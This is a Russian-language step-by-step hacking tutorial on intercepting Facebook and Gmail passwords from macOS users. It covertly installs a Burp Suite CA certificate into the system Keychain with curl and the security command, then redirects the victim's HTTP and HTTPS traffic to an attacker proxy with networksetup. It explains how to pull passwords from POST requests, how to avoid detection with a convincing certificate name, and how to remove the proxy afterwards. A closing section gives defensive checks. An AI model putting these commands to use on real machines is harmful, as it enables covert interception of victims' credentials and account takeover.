Перехват паролей от Facebook и Gmail у владельцев MacOS

Перехват паролей от Facebook и Gmail у владельцев MacOS

Поскольку для манипуляций HTTPS-трафиком в macOS и выдергивания учетных записей из зашифрованных данных требуется всего лишь несколько команд, попробуем выйти на новый уровень и попытаемся получить пароль от учетной записи в Facebook и Gmail

Автор: tokyoneon

Поскольку для манипуляций HTTPS-трафиком в macOS и выдергивания учетных записей из зашифрованных данных требуется всего лишь несколько команд, попробуем выйти на новый уровень и попытаемся получить пароль от учетной записи в Facebook и Gmail, перехватывая пакеты в Safari и Chrome в режиме реального времени.

В Facebook и Gmail очень высокий уровень безопасности. При попытке реализовать брутефорс IP-адреса тут же вносятся в черный список, а аккаунты блокируются после нескольких неудачных попыток авторизации.

Более того, даже после успешной авторизации с нового IP-адреса или другого браузера инициируются новые проверки, как, например, предложение поискать соответствие между именами и фотографиями профайлов друзей детства или отсылка одноразового кода на смартфон.

По правде говоря, чтобы получить доступ к учетной записи, обычно намного проще скомпрометировать операционную систему жертвы, чем подбирать пароль.

В этой статье будет рассказано о методах получения пароля в Facebook и Gmail у пользователей macOS, которые находятся в вместе с вами в одной Wi-Fi сети. Вначале нужно получить доступ к операционной системе жертвы, что можно сделать различными способами. Если у вас есть физический доступ к MacBook, можно воспользоваться однопользовательским режимом или социальной инженерией, чтобы спровоцировать жертву на открытие зараженного файла на USB-устройстве.

Механика атаки

Суть идеи заключается в том, что мы будем принуждать браузер Safari или Chrome на отсылку HTTP- и HTTPS-трафика на подконтрольный нам прокси, работающий на базе Burp Suite. После получения трафика Burp сможет интерпретировать HTTPS-данные в режиме реального времени. Обычно подобную схему реализовать невозможно, но мы скрытно сконфигурируем ОС жертвы таким образом, чтобы было доверие к SSL сертификату, который будет использовать наш прокси.

В общем, мы будем конфигурировать целевой браузер для использования прокси на базе Burp схожим образом, но без ведома жертвы, как если бы мы делали настройку на своей машине.

Вначале настроим Burp в Kali Linux на перехват трафика. Затем, используя полученный заранее доступ к машине, загрузим и импортируем нужный сертификат в хранилище Keychain целевой системы таким образом, что ни Safari, ни Chrome не будут выводить никаких предупреждений о вредоносной активности. В конце мы сконфигурируем MacBook на отправку HTTP- и HTTPS-трафика на наш прокси.

Для реализации атаки понадобятся права суперпользователя, поскольку импортировать сертификаты в Keychain под обычным пользователем нельзя. Права суперпользователя можно получить различными способами, начиная от установки бэкдора, если есть физический доступ к целевой машине, и заканчивая атаками, связанными с расширением привилегий, например, при помощи фишинга или PowerShell Empire для выгрузки хешей или выгрузив кэш браузера и найдя пароли, которые могут использоваться повторно в разных местах.

Шаг 1: Установка Burp Suite (если необходимо)

В некоторых версиях Kali Linux пакет Burp Suite может быть не установлен. Для установки Burp выполните следующие команды:

apt-get update && apt-get install burpsuite

Шаг 2: Настройка Burp Suite

Откройте Burp и кликните на вкладку Proxy, затем на вкладку Options и далее на кнопку Edit в разделе Proxy Listeners. Введите нужный порт. Обычно я ввожу значение 9999, которое легко запомнить, хотя вы можете использовать любое другое число.

Затем укажите адрес прокси. Эта атака реализуется в локальной сети, поэтому следует вводить адрес 192.168.1.xx. В моем случае используется отдельный сегмент и мой адрес - 10.42.0.1. Если у вас есть какие-либо сомнения, выберите опцию «All interfaces».

Рисунок 1: Настройка Burp Suite

Шаг 3: Загрузка сертификата для Burp

Используя расширенный доступ, вначале загрузим сертификат для прокси при помощи команды curl:

curl -s --insecure --proxy http://10.42.0.1:9999 http://burp/cert -o /tmp/burp.der

В команде выше утилита curl, благодаря опции –s, незаметно загружает сертификат в целевую систему с нашей машины. В аргументе –proxy мы указываем параметры только что настроенного прокси, от которого будем получать сертификат. Поскольку по умолчанию этот сертификат является недостоверным, мы используем аргумент --insecure с целью игнорирования всех предупреждений. Опция –o указывает, что нужно сохранить сертификат в директории /tmp под именем burp.der. Расширение .der менять не нужно, поскольку этот формат используется всеми сертификатами в качестве стандартного.

Шаг 4: Импорт сертификата

После загрузки сертификата на целевую машину выполняем импорт при помощи следующей команды security:

security add-trusted-cert -k /Library/Keychains/System.keychain -d /tmp/burp.der

Команда выше добавляет (add-trusted-cert) и делает полностью достоверным сертификат (-d /tmp/burp.der) в главный системный Keychain (-k). Теперь нам остается настроить macOS для отправки трафика на прокси.

Шаг 5: Настройка прокси в MacBook

Теперь мы можем приступить к незаметной настройке целевой системы на отправку всего HTTP- и HTTPS-трафика.

Сетевые настройки будем менять при помощи утилиты networksetup, которая позволяет работать из командной строки. В целом, работа с networksetup во много схожа с тем, как если бы мы сидели перед экраном и настраивали MacBook.

Для начала используйте команду ниже вместе с аргументом –listallnetworkservices, который предназначен для отображения всех доступных служб.

/usr/sbin/networksetup -listallnetworkservices
 
iPhone USB
Wi-Fi
Bluetooth PAN
Thunderbolt Bridge

Обратите внимание на службу «Wi-Fi». Именно настройки этой службы нам нужно модифицировать. Если в целевой системе используется внешний беспроводной адаптер, в списке выше также должно появиться это устройство. В этом случае нужно будет менять настройки прокси у адаптера.

Аргументы -getwebproxy (для протокола HTTP) и -getsecurewebproxy (для протокола HTTPS) могут использоваться для просмотра текущих настроек прокси в целевой системе.

/usr/sbin/networksetup -getwebproxy "Wi-Fi"
 
Enabled: No
Server:
Port: 0
Authenticated Proxy Enabled: 0

/usr/sbin/networksetup -getsecurewebproxy "Wi-Fi"
 
Enabled: No
Server:
Port: 0
Authenticated Proxy Enabled: 0

Оказалось, что оба типа прокси отключены, что является хорошим знаком, поскольку в этом случае, скорее всего, в целевой системе никогда не менялись соответствующие настройки, и не возникнет никаких подозрений, если некоторые приложения начнут вести себя немного странно.

Чтобы перенаправить весь HTTP- и HTTPS-трафик на наш прокси, используйте следующие команды:

/usr/sbin/networksetup -setwebproxy "Wi-fi" 10.42.0.1 9999
/usr/sbin/networksetup -setsecurewebproxy "Wi-fi" 10.42.0.1 9999

Не забудьте поменять IP-адрес (10.42.0.1). Кроме того, если вы указали другой порт, также измените соответствующее значение. Новые настройки прокси вступают в силу сразу же.

Шаг 6: Перехват паролей от Facebook

Возвращаемся в Burp Suite и переходим во вкладку «HTTP history» для просмотра трафика целевой системы в режиме реального времени. Обратите особое внимание на POST-запросы, которые можно опознать по колонке Method, поскольку там находится наиболее интересная информация. Например, электронная почта и пароль для Facebook показаны на рисунке ниже:

Рисунок 2: Электронная почта и пароль одного из POST-запросов

По параметрам «email=» и «pass=» легко опознать электронную почту (target@email.com) и пароль жертвы.

Шаг 7: Перехват паролей от Gmail

В случае с Gmail придется повозиться подольше, особенно если жертва использует длинные пароли и специальные символы. Специальные символы автоматически кодируются браузерами, и пароль намного сложнее заметить среди груды закодированной белиберды.

Например, пароль «g$FR3eDW&ujYH6I{*5aa» будет закодирован как «g%24FR3eDW%26ujYH6I%7B*%5D5aa».

Рисунок 3: Содержимое POST-запроса, используемого в Gmail

Как видно из рисунка выше, мы пытаемся найти иголку в стоге сена. Трюк заключается в том, чтобы изолировать проблему. На момент написания статьи закодированный пароль для Gmail хранился в параметре «f.req=» (см. ниже):

Рисунок 4: Содержимое параметра f.req

Выделите весь параметр и скопируйте содержимое. Затем в Burp откройте вкладку «Decoder» и скопируйте закодированный текст в верхнее окно. Далее нажмите кнопку «Decode as» и выберите опцию «URL».

Рисунок 5: Расшифровка параметра f.req

В нижнем окне появится расшифрованный текст в более удобочитаемом формате. Скопируйте расшифрованный текст в любой удобный для вас текстовый редактор (Gedit, Geany и т. д.).

Рисунок 6: Расшифрованный текст в редакторе

На рисунке выше видно, что блоки данных разделены запятыми в формате массива. В случае с Gmail пароль расположен в кавычках между восьмой и девятой запятой (см. ниже).

Рисунок 7: Пароль для Gmail

Facebook и Gmail – лишь два примера. В случае с другими сайтами параметры, содержащие электронную почту и пароль могут отличаться. Особенно когда дело касается сайтов, входящих в топ 100, которые используют различные схемы аутентификации и самые современные разработки в области безопасности. Вы можете протестировать этот метод для других сервисов (если Facebook не входит в сферу ваших интересов) и изучить, как происходит обработка учетных записей, и где хранится пароль.

Шаг 8: Отключение прокси в целевой системе

После того как вы закончили перехват трафика, не забудьте убрать настройки прокси. В противном случае жертва будет продолжать отсылку трафика на ваш IP-адрес даже после того, как вы отключитесь от Wi-Fi сети. Подобная активность неминуемо вызовет подозрения, поскольку жертва не сможет выйти в сеть без вашего прокси-сервера.

Чтобы отключить настройки прокси в целевой системе, используйте следующие команды:

/usr/sbin/networksetup -setwebproxystate "Wi-fi" off
/usr/sbin/networksetup -setsecurewebproxystate "Wi-fi" off

Нюансы и возможные улучшения схемы реализации атаки

Существует несколько возможностей для улучшения механики атаки.

Нюанс 1: Удаленный взлом при помощи Mitmproxy

В качестве альтернативы Burp для перехвата, исследования, модификации и перенаправления трафика можно использовать Mitmproxy. Несмотря на то, что Burp более функционален, Mitmproxy позволяет работать через командную строку и легко запускается на виртуальном сервере. VPS позволяет злоумышленнику перехватывать трафик, пересылаемый между разными Wi-Fi сетями.

Нюанс 2: Предупреждения в Firefox

После настройки Burp-прокси в macOS все запросы в Firefox также будет перенаправляться в систему злоумышленника. Хотя, в отличие от Safari и Chrome, импорт сертификата в Keychain никак не влияет на Firefox, поскольку этот браузер проверяет сертификаты независимо и не использует Keychain. Если в целевой системе, помимо Safari или Chrome, используется Firefox, будут появляться предупреждения о подозрительной активности, как показано на рисунке ниже.

Рисунок 8: Предупреждения в Firefox, связанные с недостоверным сертификатом

Нюанс 3: Конфигурирование прокси в других приложениях

Как и Firefox, другие приложения, как, например, Spotify, Skype, Opera, VLC и Thunderbird могут также проверять сертификаты альтернативными методами без использования Keychain. Как итог, эти приложения могут выводить оповещения о вредоносной активности или даже сразу же прекращать свою работу.

К сожалению, я не тестировал популярные сторонние приложения после настройки моего прокси. Читателям предлагается выполнить эти исследования самостоятельно.

Нюанс 4: Уникальный SSL-сертификат

В нашем примере был использован стандартный SSL-сертификат, автоматически сгенерированный в Burp Suite. Если вдруг пользователь захочет посмотреть перечень сертификатов в Safari или Chrome, то заметит сертификат «PortSwigger CA» (см. ниже). Компания PortSwigger, разработчик Burp Suite, указана явным образом как эмитент сертификата, что может вызвать подозрения. Создание и использование уникального сертификата с убедительным именем домена может предотвратить обнаружение нашей схемы.

Рисунок 9: Информация о сертификате, сгенерированном в Burp Suite

Как защититься от подобного рода атак

Задача не настолько простая, как может показаться на первый взгляд. Антивирус не проверяет наличие подозрительных сертификатов, и нам придется самостоятельно мониторить хранилище Keychain на предмет подозрительного содержимого.

Более того, если злоумышленник получил права суперпользователя и импортирует сертификаты, то у нас большие проблемы. Обнаружить злоумышленника в системе крайне сложно, хотя методы, указанные ниже, могут помочь.

Совет 1: Проверяйте Keychain

Если речь заходит о контроле сертификатов, никогда не полагайтесь полностью на антивирусы. Keychain можно найти и открыть, введя слово «keychain» в Spotlight. Не бойтесь заглянуть в это хранилище и проанализировать информацию у подозрительных сертификатов. В случае если обнаружены сертификаты, которые вы не загружали, не поднимайте тревогу сразу же, поскольку эти сертификаты могли быть добавлены во время установки легитимного приложения.

В случае с сертификатами, в которых вы не уверены, всю информацию можно найти в Google и/или в профильных сообществах, как, например, официальное сообщество Apple, Apple StackExchange и Information Security StackExchange.

Рисунок 10: Перечень сертификатов в системном хранилище

Совет 2: Проверяйте настройки прокси

Настройки прокси найти чуть сложнее. В Spotlight введите слово «proxy», затем кликните на кнопку «Advanced» и далее на вкладку «Proxies». Посмотрите настройки в разделах «Web Proxy (HTTP)» и «Secure Web Proxy (HTTPS)». Если вы не настраивали эти прокси, то лучше снять флажки и нажать «OK».

Рисунок 11: Настройки прокси-сервера

Совет 3: Проверяйте сертификаты браузера

Перед авторизацией на сайте периодически проверяйте используемый SSL-сертификат. В Safari и Chrome эту операцию можно выполнить, если кликнуть на замок в адресной строке и выбрать «Show Certificate» или «Certificate» соответственно. Появится новое окно с данными о сертификате. Кликните на «Details» и прокрутите до раздела SHA-256 и SHA-1 в самом конце сертификата.

Теперь на другом ноутбуке или смартфоне проверьте информацию о сертификате того же самого сайта. Как вы понимаете, данные должны совпадать. В случае несовпадения сразу возникает подозрение об использовании поддельного сертификата.

Рисунок 12: Информация о сертификате, который используется во время авторизации

Совет 4: Проверяйте веб-трафик

Wireshark – прекрасный инструмент для идентификации подозрительного трафика, исходящего от вашей машины. Если злоумышленник внедрил бэкдор, то, скорее всего, будет использовать Netcat или скрипт, написанный на Python, для создания TCP-соединений между вами и подконтрольными серверами в установленные моменты времени. На рисунке ниже видно, что злоумышленник (10.42.0.1) выполняет команды на MacBook'е жертвы (10.42.0.98) на порту 4444.

Рисунок 13: Команды, используемые в целевой системе

Заключение

Несмотря на то, что в этой статье рассматривались примеры, связанные с Facebook и Gmail, схожие методы можно применять для перехвата HTTPS-трафика и компрометирования учетных записей у других сайтов, которые использует жертва, как, например, Amazon, Twitter, Instagram, Yahoo, банковские сайты и так далее. Даже когда в целевой системе уже пройден процесс авторизации.

Надеюсь, после прочтения этой заметки некоторые читатели задумаются на предмет альтернативных методов пост-эксплуатации уязвимостей в системах. Некоторые специалисты рассматривают атаки с использованием протокола HTTPS как одни из наиболее изощренных. Если мы найдем другие методы перехвата зашифрованных сведений, жертвы тем более не смогут защититься от подобного рода атак. Не говоря уже о том, что SSL не защищает от многих сетевых угроз.

Вы всегда можете задать вопрос или оставить комментарий в твиттере @tokyoneon_.

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться